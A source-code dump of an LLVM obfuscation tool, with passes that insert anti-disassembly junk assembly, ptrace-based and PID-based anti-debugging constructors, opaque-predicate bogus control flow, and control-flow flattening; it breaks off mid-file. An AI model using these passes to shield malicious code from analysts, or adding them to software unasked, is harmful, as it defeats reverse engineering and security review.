-------------------------------------------------------------------------------- /Generic_obfuscator/src/include/TaintAnalysis.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_TaintAnalysis_H 2 | #define LLVM_Generic_obfuscator_TaintAnalysis_H 3 | #include "llvm/IR/BasicBlock.h" 4 | #include "llvm/IR/CFG.h" 5 | #include "llvm/IR/Function.h" 6 | #include "llvm/IR/GlobalVariable.h" 7 | #include "llvm/IR/Instruction.h" 8 | #include 9 | #include 10 | #include 11 | #include 12 | using namespace llvm; 13 | using namespace std; 14 | namespace Generic_obfuscator { 15 | 16 | class TaintAnalysis { 17 | private: 18 | std::set gv_set_each_path; 19 | std::set gv_set; 20 | Value* var_set_end = nullptr; 21 | std::map> bb_2_gv_set_hash; 22 | // 共享变量访问的指令集合 23 | std::set unnecessarySet; 24 | std::vector currentPath; 25 | std::set visitedBlocks; 26 | void traversePath(BasicBlock* BB, std::set& gv_set, std::set& needEncGV); 27 | 28 | std::size_t hashSet(const std::set& gv_set); 29 | 30 | public: 31 | // 构造函数 32 | TaintAnalysis() = default; 33 | 34 | // 析构函数 35 | ~TaintAnalysis() = default; 36 | 37 | void analyzeFunctionFlowSensitive(Function& F, std::set& needEncGV); 38 | 39 | // 获取共享变量访问指令集合 40 | const std::set& getUnnecessarySet() const; 41 | 42 | // 打印共享变量访问指令集合 43 | void printUnnecessarySet() const; 44 | 45 | }; // Class TainAnalysis end 46 | } // namespace KOtoamatsukami 47 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/config.h: -------------------------------------------------------------------------------- 1 | #ifndef Generic_obfuscator_CONFIG_H 2 | #define Generic_obfuscator_CONFIG_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "llvm/IR/Function.h" 9 | #include "llvm/ADT/StringRef.h" 10 | #include "json.hpp" 11 | using json = nlohmann::json; 12 | 13 | enum class Arch { 14 | UNKNOWN, // 未知架构 15 | X86, // 通用架构 16 | X86_64, // 64位 x86 架构 17 | ARM32, // 32位 ARM 架构 18 | ARM64, // 64位 ARM 架构 19 | MIPS, // MIPS 架构 20 | POWERPC, // PowerPC 架构 21 | RISCV, // RISC-V 架构 22 | }; 23 | 24 | enum class ProcessModel { 25 | DISABLE, // 不启用 26 | ENABLE, // 全部启用 27 | PartiallyEnable, // 部分函数启用 28 | PartiallyDisable,// 部分函数不启用 29 | 30 | }; 31 | 32 | struct FunctionSettings { 33 | int model; 34 | std::vector enable_function; 35 | std::vector disable_function; 36 | int op1 = 0; 37 | int op2 = 0; 38 | std::string module_name; 39 | }; 40 | 41 | extern FunctionSettings loopen; 42 | extern FunctionSettings forObs; 43 | extern FunctionSettings splitBasicBlocks; 44 | extern FunctionSettings branch2call; 45 | extern FunctionSettings branch2call_32; 46 | extern FunctionSettings junkCode; 47 | extern FunctionSettings antiHook; 48 | extern FunctionSettings antiDebug; 49 | extern FunctionSettings indirectCall; 50 | extern FunctionSettings indirectBranch; 51 | extern FunctionSettings bogusControlFlow; 52 | extern FunctionSettings substitution; 53 | extern FunctionSettings flatten; 54 | extern FunctionSettings gvEncrypt; 55 | 56 | extern Arch targetArch ; 57 | extern int isConfigured; 58 | extern int x[2048]; 59 | Arch parseArch(const std::string& target); 60 | int parseConfig(const std::string& filename); 61 | // First look for the parameters passed in as a config filed,then search the Generic_obfuscator.config in current dir 62 | void readConfig(const std::string& filename); 63 | std::string archToString(Arch arch); 64 | 65 | bool shouldSkip(const llvm::Function& F,const FunctionSettings& setting); 66 | #endif // CONFIG_H 67 | 68 | 69 | -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/utils.hpp: -------------------------------------------------------------------------------- 1 | // 参考 https://github.com/DreamSoule/ollvm17 2 | #ifndef Generic_obfuscator_UTILS_H 3 | #define Generic_obfuscator_UTILS_H 4 | // LLVM libs 5 | #include "llvm/IR/Module.h" 6 | #include "llvm/IR/Function.h" 7 | #include "llvm/IR/Instructions.h" 8 | #include "llvm/Transforms/Utils/Local.h" 9 | #include "llvm/Transforms/Utils/Cloning.h" 10 | #include "llvm/Transforms/Utils/ValueMapper.h" 11 | #include 12 | #include 13 | #include "llvm/IRReader/IRReader.h" // For parseIRFile 14 | #include "llvm/Support/SourceMgr.h" // For SMDiagnostic 15 | #include 16 | #include 17 | #include 18 | using namespace std; 19 | using namespace llvm; 20 | void demoteRegisters(llvm::Function *f); 21 | llvm::Function *createFuncFromGenerated(llvm::Module *M, std::string funcName, std::string moduleName); 22 | llvm::Function* createFuncFromString(Module* M, std::string funcName, std::string irString); 23 | uint64_t getRandomNumber(); 24 | BasicBlock* cloneBasicBlock(BasicBlock* BB); 25 | std::vector generateUniqueRandomNumbers(int min, int max, int size); 26 | void fixStack(Function &F); 27 | 28 | bool containsPHI(BasicBlock *BB); 29 | std::vector splitBasicBlockRandomly(BasicBlock* BB, int numBlocks); 30 | 31 | #endif // LLVM_UTILS_H -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/AddJunkCodePass.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/AddJunkCodePass.h" 2 | #include "Log.hpp" 3 | #include "config.h" 4 | #include "llvm/ADT/Statistic.h" 5 | #include "llvm/IR/BasicBlock.h" 6 | #include "llvm/IR/IRBuilder.h" 7 | #include "llvm/IR/Instructions.h" 8 | #include "llvm/IR/Module.h" 9 | #include "llvm/Pass.h" 10 | #include "llvm/Support/CommandLine.h" 11 | #include "llvm/Transforms/IPO.h" 12 | #include "llvm/Transforms/Scalar.h" 13 | #include "llvm/Support/FormatVariadic.h" 14 | #include "llvm/IR/InlineAsm.h" 15 | #include 16 | #include 17 | 18 | #include // rand() 19 | using namespace llvm; 20 | 21 | // todo https://zhuanlan.zhihu.com/p/640711859 22 | std::vector arm64AsmCode = { 23 | "udf #0x5397FB1\n" 24 | ".long 87654321\n" 25 | ".long 12345678\n", 26 | 27 | "b #0x10\n" 28 | "udf #0x5397FB1\n" 29 | ".long 87654321\n" 30 | ".long 12345678\n" 31 | }; 32 | std::vector x86AsmCode = { 33 | "call {0}f\n" 34 | "{0}:\n" 35 | "addl $$8, (%esp)\n" 36 | "ret\n" 37 | ".byte 0xe8\n" 38 | ".byte 0x90\n" 39 | ".byte 0x90\n" 40 | ".byte 0x90\n", 41 | 42 | "push %ebx\n" 43 | "xorl %ebx, %ebx\n" 44 | "testl %ebx, %ebx\n" 45 | "jne {0}f\n" 46 | "je {1}f\n" 47 | "{0}:\n" 48 | ".byte 0x21\n" 49 | "{1}:\n" 50 | "pop %ebx\n"}; 51 | 52 | std::vector x64AsmCode = { 53 | "call {0}f\n" 54 | "{0}:\n" 55 | "addq $$8, (%rsp)\n" 56 | "ret\n" 57 | ".byte 0xe8\n" 58 | ".byte 0x90\n" 59 | ".byte 0x90\n" 60 | ".byte 0x90\n", 61 | 62 | "push %rbx\n" 63 | "xorq %rbx, %rbx\n" 64 | "testq %rbx, %rbx\n" 65 | "jne {0}f\n" 66 | "je {1}f\n" 67 | "{0}:\n" 68 | ".byte 0x21\n" 69 | "{1}:\n" 70 | "pop %rbx\n"}; 71 | PreservedAnalyses AddJunkCodePass::run(Module &M, ModuleAnalysisManager &AM) 72 | { 73 | bool isChanged = false; 74 | int flowerIndex = 0; 75 | double addJunkCodeProbability = 0.2; 76 | srand(time(nullptr)); 77 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 78 | if (junkCode.model) 79 | { 80 | for (llvm::Function &F : M) 81 | { 82 | if (shouldSkip(F, junkCode)){ 83 | continue; 84 | } 85 | int flowerCount = 0; 86 | PrintInfo("Running JunkcodePass on function: ",F.getName().str()); 87 | for (auto &BB : F) 88 | { 89 | if (flowerCount >= 5) 90 | { 91 | break; 92 | } 93 | for (auto &I : BB) 94 | { 95 | if (I.isTerminator()) 96 | { 97 | continue; 98 | } 99 | if ((rand() / (double)RAND_MAX) < addJunkCodeProbability) 100 | { 101 | IRBuilder<> builder(&I); 102 | auto *FType = llvm::FunctionType::get(builder.getVoidTy(), false); 103 | std::string asmCode; 104 | if (targetArch == Arch::X86) 105 | { 106 | int flowerClass = rand() % x86AsmCode.size(); 107 | asmCode = llvm::formatv( 108 | x86AsmCode[flowerClass].c_str(), 109 | flowerIndex++); 110 | } 111 | else if (targetArch == Arch::X86_64) 112 | { 113 | int flowerClass = rand() % x64AsmCode.size(); 114 | asmCode = llvm::formatv( 115 | x64AsmCode[flowerClass].c_str(), 116 | flowerIndex++); 117 | } 118 | else if (targetArch == Arch::ARM64) { 119 | int flowerClass = rand() % arm64AsmCode.size(); 120 | asmCode = llvm::formatv( 121 | arm64AsmCode[flowerClass].c_str(), 122 | flowerIndex++); 123 | } 124 | InlineAsm *rawAsm = llvm::InlineAsm::get(FType, asmCode, "", 125 | /* hasSideEffects */ true, 126 | /* isStackAligned */ true); 127 | builder.CreateCall(rawAsm); 128 | flowerCount++; 129 | isChanged = true; 130 | } 131 | } 132 | } 133 | PrintSuccess("AddJunkCodePass successfully process func ", F.getName().str()); 134 | } 135 | } 136 | 137 | if (isChanged) 138 | return PreservedAnalyses::none(); 139 | else 140 | return PreservedAnalyses::all(); 141 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/AntiDebugPass.cpp: -------------------------------------------------------------------------------- 1 | #include "AntiDebugPass.h" 2 | #include "config.h" 3 | #include "utils.hpp" 4 | #include "llvm/IR/Instructions.h" 5 | #include "llvm/IR/Verifier.h" 6 | #include "llvm/Transforms/Utils/ModuleUtils.h" 7 | #include 8 | #include "Log.hpp" 9 | using namespace llvm; 10 | /* 11 | function prototype 12 | void Generic_obfuscator_Antidebug1() { 13 | if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { 14 | printf("Debugger detected!\n"); 15 | _exit(1); 16 | } 17 | printf("No debugger detected, continuing...\n"); 18 | } 19 | */ 20 | llvm::Function* createAntiDebugFunc1(llvm::Module* M) 21 | { 22 | auto& context = M->getContext(); 23 | FunctionType* funcType = FunctionType::get(Type::getVoidTy(context), false); 24 | Function* antiDebugFunc = Function::Create(funcType, Function::ExternalLinkage, "Generic_obfuscator_Antidebug1", M); 25 | if (!antiDebugFunc) { 26 | PrintError("Error creating AntiDebugFUNC1"); 27 | return nullptr; 28 | } 29 | BasicBlock* entryBlock = BasicBlock::Create(context, "entry", antiDebugFunc); 30 | IRBuilder<> builder(entryBlock); 31 | 32 | FunctionType* ptraceType = FunctionType::get(Type::getInt32Ty(context), { Type::getInt32Ty(context), Type::getInt64Ty(context), Type::getInt64Ty(context), Type::getInt64Ty(context) }, false); 33 | FunctionCallee ptraceFunc = M->getOrInsertFunction("ptrace", ptraceType); 34 | 35 | FunctionType* printfType = FunctionType::get(Type::getInt32Ty(context), { Type::getInt8PtrTy(context) }, true); 36 | FunctionCallee printfFunc = M->getOrInsertFunction("printf", printfType); 37 | 38 | FunctionType* exitType = FunctionType::get(Type::getVoidTy(context), { Type::getInt32Ty(context) }, false); 39 | FunctionCallee exitFunc = M->getOrInsertFunction("_exit", exitType); 40 | 41 | 42 | Constant* debuggerDetectedStr = builder.CreateGlobalStringPtr("Debugger detected!\n"); 43 | 44 | Value* ptraceCall = builder.CreateCall(ptraceFunc, { ConstantInt::get(Type::getInt32Ty(context), 0), ConstantInt::get(Type::getInt64Ty(context), 0), ConstantInt::get(Type::getInt64Ty(context), 0), ConstantInt::get(Type::getInt64Ty(context), 0) }); 45 | 46 | Value* cmp = builder.CreateICmpSLT(ptraceCall, ConstantInt::get(Type::getInt32Ty(context), 0)); 47 | 48 | BasicBlock* ifBlock = BasicBlock::Create(context, "if", antiDebugFunc); 49 | BasicBlock* elseBlock = BasicBlock::Create(context, "else", antiDebugFunc); 50 | 51 | builder.CreateCondBr(cmp, ifBlock, elseBlock); 52 | 53 | // if block 54 | builder.SetInsertPoint(ifBlock); 55 | builder.CreateCall(printfFunc, { debuggerDetectedStr }); 56 | builder.CreateCall(exitFunc, { ConstantInt::get(Type::getInt32Ty(context), 1) }); 57 | builder.CreateUnreachable(); 58 | 59 | // else block 60 | builder.SetInsertPoint(elseBlock); 61 | builder.CreateRetVoid(); 62 | return antiDebugFunc; 63 | } 64 | /* 65 | function prototype 66 | void Generic_obfuscator_Antidebug2() { 67 | pid_t ppid = getppid(); 68 | pid_t sid = getsid(getpid()); 69 | 70 | if (sid != ppid) { 71 | printf("Debugger detected based on session and parent PID mismatch!\n"); 72 | _exit(1); 73 | } else { 74 | printf("No debugger detected, continuing...\n"); 75 | } 76 | } 77 | */ 78 | Function* createAntiDebugFunc2(Module *module) { 79 | LLVMContext& context = module->getContext(); 80 | FunctionType *funcType = FunctionType::get(Type::getVoidTy(context), false); 81 | Function *antiDebugFunc = Function::Create(funcType, Function::ExternalLinkage, "Generic_obfuscator_Antidebug2", module); 82 | BasicBlock *entryBlock = BasicBlock::Create(context, "entry", antiDebugFunc); 83 | IRBuilder<> builder(entryBlock); 84 | 85 | // Declare getppid, getsid, and getpid functions 86 | FunctionType* getpidType = FunctionType::get(Type::getInt32Ty(context), {}, false); 87 | FunctionCallee getpidFunc = module->getOrInsertFunction("getpid", getpidType); 88 | 89 | FunctionType* getppidType = FunctionType::get(Type::getInt32Ty(context), {}, false); 90 | FunctionCallee getppidFunc = module->getOrInsertFunction("getppid", getppidType); 91 | 92 | FunctionType* getsidType = FunctionType::get(Type::getInt32Ty(context), {Type::getInt32Ty(context)}, false); 93 | FunctionCallee getsidFunc = module->getOrInsertFunction("getsid", getsidType); 94 | 95 | 96 | // Declare printf function 97 | FunctionType* printfType = FunctionType::get(Type::getInt32Ty(context), { Type::getInt8PtrTy(context) }, true); 98 | FunctionCallee printfFunc = module->getOrInsertFunction("printf", printfType); 99 | 100 | // Declare exit function 101 | FunctionType* exitType = FunctionType::get(Type::getVoidTy(context), { Type::getInt32Ty(context) }, false); 102 | FunctionCallee exitFunc = module->getOrInsertFunction("_exit", exitType); 103 | 104 | 105 | // Get string constants 106 | Constant *debuggerDetectedStr = builder.CreateGlobalStringPtr("Debugger detected based on session and parent PID mismatch!\n"); 107 | Constant *noDebuggerDetectedStr = builder.CreateGlobalStringPtr("No debugger detected, continuing...\n"); 108 | 109 | // Call getppid and getpid 110 | Value* ppid = builder.CreateCall(getppidFunc, {}); 111 | Value* pid = builder.CreateCall(getpidFunc, {}); 112 | 113 | // Call getsid 114 | Value* sid = builder.CreateCall(getsidFunc, {pid}); 115 | 116 | // Compare sid and ppid 117 | Value* cmp = builder.CreateICmpNE(sid, ppid); 118 | 119 | // Create if-else blocks 120 | BasicBlock* ifBlock = BasicBlock::Create(context, "if", antiDebugFunc); 121 | BasicBlock* elseBlock = BasicBlock::Create(context, "else", antiDebugFunc); 122 | builder.CreateCondBr(cmp, ifBlock, elseBlock); 123 | builder.SetInsertPoint(ifBlock); 124 | builder.CreateCall(printfFunc, {debuggerDetectedStr}); 125 | builder.CreateCall(exitFunc,{ConstantInt::get(Type::getInt32Ty(context), 1)}); 126 | builder.CreateUnreachable(); 127 | builder.SetInsertPoint(elseBlock); 128 | // builder.CreateCall(printfFunc, {noDebuggerDetectedStr}); 129 | builder.CreateRetVoid(); 130 | return antiDebugFunc; 131 | } 132 | 133 | PreservedAnalyses AntiDebugPass::run(Module& M, ModuleAnalysisManager& AM) 134 | { 135 | if (isInserted){ 136 | return PreservedAnalyses::all(); 137 | } 138 | bool isChanged = false; 139 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 140 | if (antiDebug.model) { 141 | std::vector antiDebugFuncs; 142 | antiDebugFuncs.push_back(createAntiDebugFunc1(&M)); 143 | antiDebugFuncs.push_back(createAntiDebugFunc2(&M)); 144 | if (antiDebugFuncs.size() > 0) { 145 | Function* antiDebugFunc = antiDebugFuncs[rand() % antiDebugFuncs.size()]; 146 | if (M.size() > 0) { 147 | appendToGlobalCtors(M,antiDebugFunc, 55555); 148 | } 149 | isInserted = true; 150 | isChanged = true; 151 | } 152 | PrintSuccess("AntiDebug successfully process Module ", M.getName().str()); 153 | } 154 | 155 | if (isChanged) 156 | return PreservedAnalyses::none(); 157 | else 158 | return PreservedAnalyses::all(); 159 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/BogusControlFlow.cpp: -------------------------------------------------------------------------------- 1 | #include "BogusControlFlow.h" 2 | #include "config.h" 3 | #include "utils.hpp" 4 | #include "llvm-c/Types.h" 5 | #include "llvm/IR/Attributes.h" 6 | #include "llvm/IR/BasicBlock.h" 7 | #include "llvm/IR/Constant.h" 8 | #include "llvm/IR/Constants.h" 9 | #include "llvm/IR/GlobalValue.h" 10 | #include "llvm/IR/GlobalVariable.h" 11 | #include "llvm/IR/Type.h" 12 | #include "llvm/IR/Value.h" 13 | #include "llvm/Support/raw_ostream.h" 14 | #include "Log.hpp" 15 | #include 16 | using namespace llvm; 17 | namespace Generic_obfuscator { 18 | // 魔改思路 将每个被魔改的都改成一个类似while循环 当flag为0 时才能跳出循环 然后每次都让 x + 1 不用 y 了 19 | namespace BogusControlFlow { 20 | // 含有相关指令的clone block 不能被运行 这里可能不一定完备 21 | bool containsSpecialInstructions(llvm::BasicBlock& BB) 22 | { 23 | for (llvm::Instruction& I : BB) { 24 | if (llvm::isa(I) || llvm::isa(I)) { 25 | return true; 26 | } 27 | } 28 | return false; 29 | } 30 | // Cond will increase by 1 every time, but in the program it will definitely not be able to run until Cond is large enough, so the possible conditions still cannot be established. 31 | // [Improve me]! I think just doing this is of little use 32 | Value* createMayRunBogusCmp(BasicBlock* insertAfter) 33 | { 34 | // if(( x * (x + 1) % 72 == 0)) 35 | Module* M = insertAfter->getModule(); 36 | LLVMContext& context = M->getContext(); 37 | GlobalVariable* xptr = (GlobalVariable*)M->getOrInsertGlobal("x", Type::getInt32Ty(context)); 38 | if (!xptr->hasInitializer()) { 39 | xptr->setInitializer(ConstantInt::get(Type::getInt32Ty(context),2)); // 初始值为 0 40 | } 41 | xptr->setLinkage(GlobalValue::PrivateLinkage); 42 | IRBuilder<> builder(context); 43 | builder.SetInsertPoint(insertAfter); 44 | LoadInst* x = builder.CreateLoad(Type::getInt32Ty(context), xptr); 45 | Value* op1 = builder.CreateAdd(x, ConstantInt::get(Type::getInt32Ty(context), 1)); 46 | Value* op2 = builder.CreateMul(x, op1); 47 | builder.CreateStore(op1, xptr); 48 | int randNum = getRandomNumber()%5201314; 49 | Value* cond = builder.CreateICmpEQ(op2, ConstantInt::get(Type::getInt32Ty(context), randNum)); 50 | return cond; 51 | } 52 | Value* createBogusCmp(BasicBlock* insertAfter) 53 | { 54 | // if(( x * (x + 1) % 72 == 0)) 55 | Module* M = insertAfter->getModule(); 56 | LLVMContext& context = M->getContext(); 57 | GlobalVariable* xptr = (GlobalVariable*)M->getOrInsertGlobal("x", Type::getInt32Ty(context)); 58 | if (!xptr->hasInitializer()) { 59 | xptr->setInitializer(ConstantInt::get(Type::getInt32Ty(context),2)); // 初始值为 0 60 | } 61 | 62 | IRBuilder<> builder(context); 63 | builder.SetInsertPoint(insertAfter); 64 | LoadInst* x = builder.CreateLoad(Type::getInt32Ty(context), xptr); 65 | Value* op1 = builder.CreateAdd(x, ConstantInt::get(Type::getInt32Ty(context), 1)); 66 | Value* op2 = builder.CreateMul(op1, x); 67 | Value* op3 = builder.CreateURem(op2, ConstantInt::get(Type::getInt32Ty(context), 2)); 68 | builder.CreateStore(op3, xptr); 69 | Value* cond = builder.CreateICmpEQ(op3, ConstantInt::get(Type::getInt32Ty(context), 0)); 70 | return cond; 71 | } 72 | BasicBlock* createJump2BodyBB(Function* F, Value* flag_ptr, BasicBlock* bodyBB, BasicBlock* tailBB) 73 | { 74 | Module* M = F->getParent(); 75 | LLVMContext& context = M->getContext(); 76 | IRBuilder<> builder(context); 77 | llvm::BasicBlock* jump2BodyBB = llvm::BasicBlock::Create(context, "jump2BodyBB", F); 78 | builder.SetInsertPoint(jump2BodyBB); 79 | Value* flagCond = builder.CreateLoad(Type::getInt1Ty(context), flag_ptr); 80 | builder.CreateCondBr(flagCond, bodyBB, tailBB); 81 | return jump2BodyBB; 82 | } 83 | llvm::Instruction* getFirstAllocaOrLastInstruction(llvm::BasicBlock& BB) 84 | { 85 | for (auto& inst : BB) { 86 | if (llvm::isa(&inst)) { 87 | return &inst; 88 | } 89 | } 90 | if (!BB.empty()) { 91 | return &BB.back(); 92 | } 93 | 94 | return nullptr; 95 | } 96 | } 97 | } // namespace Generic_obfuscator 98 | PreservedAnalyses BogusControlFlow::run(Module& M, ModuleAnalysisManager& AM) 99 | { 100 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 101 | bool is_processed = false; 102 | if (bogusControlFlow.model) { 103 | for (llvm::Function& F : M) { 104 | if (shouldSkip(F, bogusControlFlow)) { 105 | continue; 106 | } 107 | // 申请一个局部变量 用来保证real block 确实会被运行 108 | BasicBlock& entryBB = F.getEntryBlock(); 109 | IRBuilder<> builder(F.getContext()); 110 | builder.SetInsertPoint(Generic_obfuscator::BogusControlFlow::getFirstAllocaOrLastInstruction(entryBB)); 111 | Value* flag_ptr = builder.CreateAlloca(Type::getInt1Ty(F.getContext())); 112 | builder.CreateStore(ConstantInt::get(Type::getInt1Ty(F.getContext()), 0), flag_ptr); 113 | 114 | std::vector origBB; 115 | for (BasicBlock& BB : F) { 116 | origBB.push_back(&BB); 117 | } 118 | for (BasicBlock* BB : origBB) { 119 | // 控制插入概率 120 | if (isa(BB->getTerminator()) || BB->isEHPad() || (getRandomNumber() % 100) <= USE_PROBILITY) { 121 | continue; 122 | } 123 | BasicBlock* headBB = BB; 124 | // 这个API好用啊 125 | BasicBlock* bodyBB = BB->splitBasicBlock(BB->getFirstNonPHIOrDbgOrLifetime(), "bodyBB"); 126 | BasicBlock* tailBB = bodyBB->splitBasicBlock(bodyBB->getTerminator(), "endBB"); 127 | BasicBlock* cloneBB = cloneBasicBlock(bodyBB); 128 | 129 | BB->getTerminator()->eraseFromParent(); 130 | bodyBB->getTerminator()->eraseFromParent(); 131 | cloneBB->getTerminator()->eraseFromParent(); 132 | 133 | if ((getRandomNumber() % 100) <= 50) { 134 | Value* cond1 = Generic_obfuscator::BogusControlFlow::createBogusCmp(headBB); 135 | BranchInst::Create(bodyBB, cloneBB, cond1, headBB); 136 | BranchInst::Create(tailBB, cloneBB, cond1, bodyBB); 137 | BranchInst::Create(bodyBB, cloneBB); 138 | } else { 139 | Value* cond1 = Generic_obfuscator::BogusControlFlow::createMayRunBogusCmp(headBB); 140 | BasicBlock* jump2BodyBB = Generic_obfuscator::BogusControlFlow::createJump2BodyBB(&F, flag_ptr, bodyBB, tailBB); 141 | BranchInst::Create(cloneBB, bodyBB, cond1, headBB); 142 | BranchInst::Create(jump2BodyBB, bodyBB); 143 | BranchInst::Create(jump2BodyBB, cloneBB); 144 | builder.SetInsertPoint(bodyBB->getTerminator()); 145 | builder.CreateStore(ConstantInt::get(Type::getInt1Ty(F.getContext()), 0), flag_ptr); 146 | builder.SetInsertPoint(cloneBB->getTerminator()); 147 | builder.CreateStore(ConstantInt::get(Type::getInt1Ty(F.getContext()), 1), flag_ptr); 148 | } 149 | } 150 | demoteRegisters(&F); 151 | is_processed = true; 152 | PrintSuccess("BogusControlFlow successfully process func ", F.getName().str()); 153 | } 154 | // M.print(llvm::outs(),nullptr); 155 | } 156 | if (is_processed) { 157 | return PreservedAnalyses::none(); 158 | } else { 159 | return PreservedAnalyses::all(); 160 | } 161 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/Flatten.cpp: -------------------------------------------------------------------------------- 1 | #include "Flatten.h" 2 | #include "Log.hpp" 3 | #include "config.h" 4 | #include "utils.hpp" 5 | #include "llvm/ADT/SmallVector.h" 6 | #include "llvm/IR/BasicBlock.h" 7 | #include "llvm/IR/Constants.h" 8 | #include "llvm/IR/Instructions.h" 9 | #include "llvm/IR/Type.h" 10 | #include "llvm/IR/Value.h" 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | using namespace llvm; 19 | namespace Generic_obfuscator { 20 | namespace Flatten { 21 | bool flatteningLinearBlocks(Function& F, std::vector linearPath) 22 | { 23 | BasicBlock* entryBB = linearPath[0]; 24 | BasicBlock* dispatchBB = BasicBlock::Create(F.getContext(), "dispatchBB", &F, entryBB); 25 | BasicBlock* returnBB = BasicBlock::Create(F.getContext(), "returnBB", &F, entryBB); 26 | std::unordered_map bb2Randnuml; 27 | 28 | linearPath.erase(linearPath.begin()); 29 | // Prevent random number duplication 30 | std::vector randVec = generateUniqueRandomNumbers(520, 1314, linearPath.size()); 31 | for (unsigned int i = 0; i < linearPath.size(); i++) { 32 | BasicBlock* BB = linearPath[i]; 33 | BB->moveBefore(returnBB); 34 | bb2Randnuml[BB] = randVec[i]; 35 | } 36 | 37 | // for (int i = 0; i < linearPath.size(); i++) { 38 | // linearPath[i]->print(errs()); 39 | // } 40 | // entryBB 41 | entryBB->moveBefore(dispatchBB); 42 | IRBuilder<> builder(entryBB); 43 | builder.SetInsertPoint(&*entryBB->getFirstInsertionPt()); 44 | AllocaInst* swVarPtr = builder.CreateAlloca(Type::getInt32Ty(F.getContext()), nullptr, "linear.1swVar.ptr"); 45 | builder.CreateStore(ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnuml[linearPath[0]]), swVarPtr); 46 | entryBB->getTerminator()->eraseFromParent(); 47 | builder.SetInsertPoint(entryBB); 48 | builder.CreateBr(dispatchBB); 49 | // returnBB 50 | builder.SetInsertPoint(returnBB); 51 | builder.CreateBr(dispatchBB); 52 | 53 | // dispatchBB 54 | builder.SetInsertPoint(dispatchBB); 55 | LoadInst* swVar = builder.CreateLoad(Type::getInt32Ty(F.getContext()), swVarPtr); 56 | SwitchInst* swInst = builder.CreateSwitch(swVar, returnBB, 0); 57 | 58 | for (unsigned int i = 0; i < linearPath.size(); i++) { 59 | swInst->addCase(ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnuml[linearPath[i]]), linearPath[i]); 60 | } 61 | 62 | for (unsigned int i = 0; i < linearPath.size() - 1; i++) { 63 | BasicBlock* BB = linearPath[i]; 64 | BB->moveBefore(returnBB); 65 | builder.SetInsertPoint(BB->getTerminator()); 66 | builder.CreateStore(ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnuml[BB->getSingleSuccessor()]), swVarPtr); 67 | BB->getTerminator()->eraseFromParent(); 68 | builder.SetInsertPoint(BB); 69 | builder.CreateBr(returnBB); 70 | } 71 | 72 | return true; 73 | } 74 | bool flattening(Function& F) 75 | { 76 | if (F.size() <= 1) { 77 | return false; 78 | } 79 | SmallVector origBB; 80 | for (BasicBlock& BB : F) { 81 | origBB.push_back(&BB); 82 | } 83 | origBB.erase(origBB.begin()); 84 | 85 | // process conditional entryBB 86 | BasicBlock& entryBB = F.getEntryBlock(); 87 | bool bEntryBB_isConditional = false; 88 | BasicBlock* newBB = nullptr; 89 | if (BranchInst* br = dyn_cast(entryBB.getTerminator())) { 90 | if (br->isConditional()) { 91 | newBB = entryBB.splitBasicBlock(br, "newBB"); 92 | origBB.insert(origBB.begin(), newBB); 93 | bEntryBB_isConditional = true; 94 | } 95 | } 96 | // Prevent random number duplication 97 | std::unordered_map bb2Randnum; 98 | std::vector randVec = generateUniqueRandomNumbers(520, 1314, origBB.size()); 99 | for (unsigned int i = 0; i < origBB.size(); i++) { 100 | BasicBlock* BB = origBB[i]; 101 | bb2Randnum[BB] = randVec[i]; 102 | } 103 | 104 | BasicBlock* dispatchBB = BasicBlock::Create(F.getContext(), "dispatchBB", &F, &entryBB); 105 | BasicBlock* returnBB = BasicBlock::Create(F.getContext(), "returnBB", &F, &entryBB); 106 | 107 | // entryBB 108 | entryBB.moveBefore(dispatchBB); 109 | IRBuilder<> builder(&entryBB); 110 | builder.SetInsertPoint(&*entryBB.getFirstInsertionPt()); 111 | AllocaInst* swVarPtr = builder.CreateAlloca(Type::getInt32Ty(F.getContext()), nullptr, "swVar.ptr"); 112 | if (bEntryBB_isConditional) { 113 | builder.CreateStore(ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnum[newBB]), swVarPtr); 114 | } else { 115 | builder.CreateStore(ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnum[entryBB.getTerminator()->getSuccessor(0)]), swVarPtr); 116 | } 117 | if (entryBB.getTerminator()) 118 | entryBB.getTerminator()->eraseFromParent(); 119 | builder.SetInsertPoint(&entryBB); 120 | builder.CreateBr(dispatchBB); 121 | 122 | // swDefault 123 | BasicBlock* swDefault = BasicBlock::Create(F.getContext(), "swDefault", &F, returnBB); 124 | builder.SetInsertPoint(swDefault); 125 | builder.CreateBr(returnBB); 126 | 127 | // disaptchBB 128 | builder.SetInsertPoint(dispatchBB); 129 | LoadInst* swVar = builder.CreateLoad(Type::getInt32Ty(F.getContext()), swVarPtr); 130 | SwitchInst* swInst = builder.CreateSwitch(swVar, swDefault, 0); 131 | 132 | // returnBB 133 | builder.SetInsertPoint(returnBB); 134 | builder.CreateBr(dispatchBB); 135 | 136 | // add cases to switch 137 | for (BasicBlock* BB : origBB) { 138 | BB->moveBefore(returnBB); 139 | swInst->addCase(ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnum[BB]), BB); 140 | } 141 | 142 | // process BBs in origBB 143 | for (BasicBlock* BB : origBB) { 144 | if (BB->getTerminator()->getNumSuccessors() == 0) { 145 | continue; 146 | } else if (BB->getTerminator()->getNumSuccessors() == 1) { 147 | BasicBlock* sucBB = BB->getTerminator()->getSuccessor(0); 148 | BB->getTerminator()->eraseFromParent(); 149 | builder.SetInsertPoint(BB); 150 | builder.CreateStore(ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnum[sucBB]), swVarPtr); 151 | builder.CreateBr(returnBB); 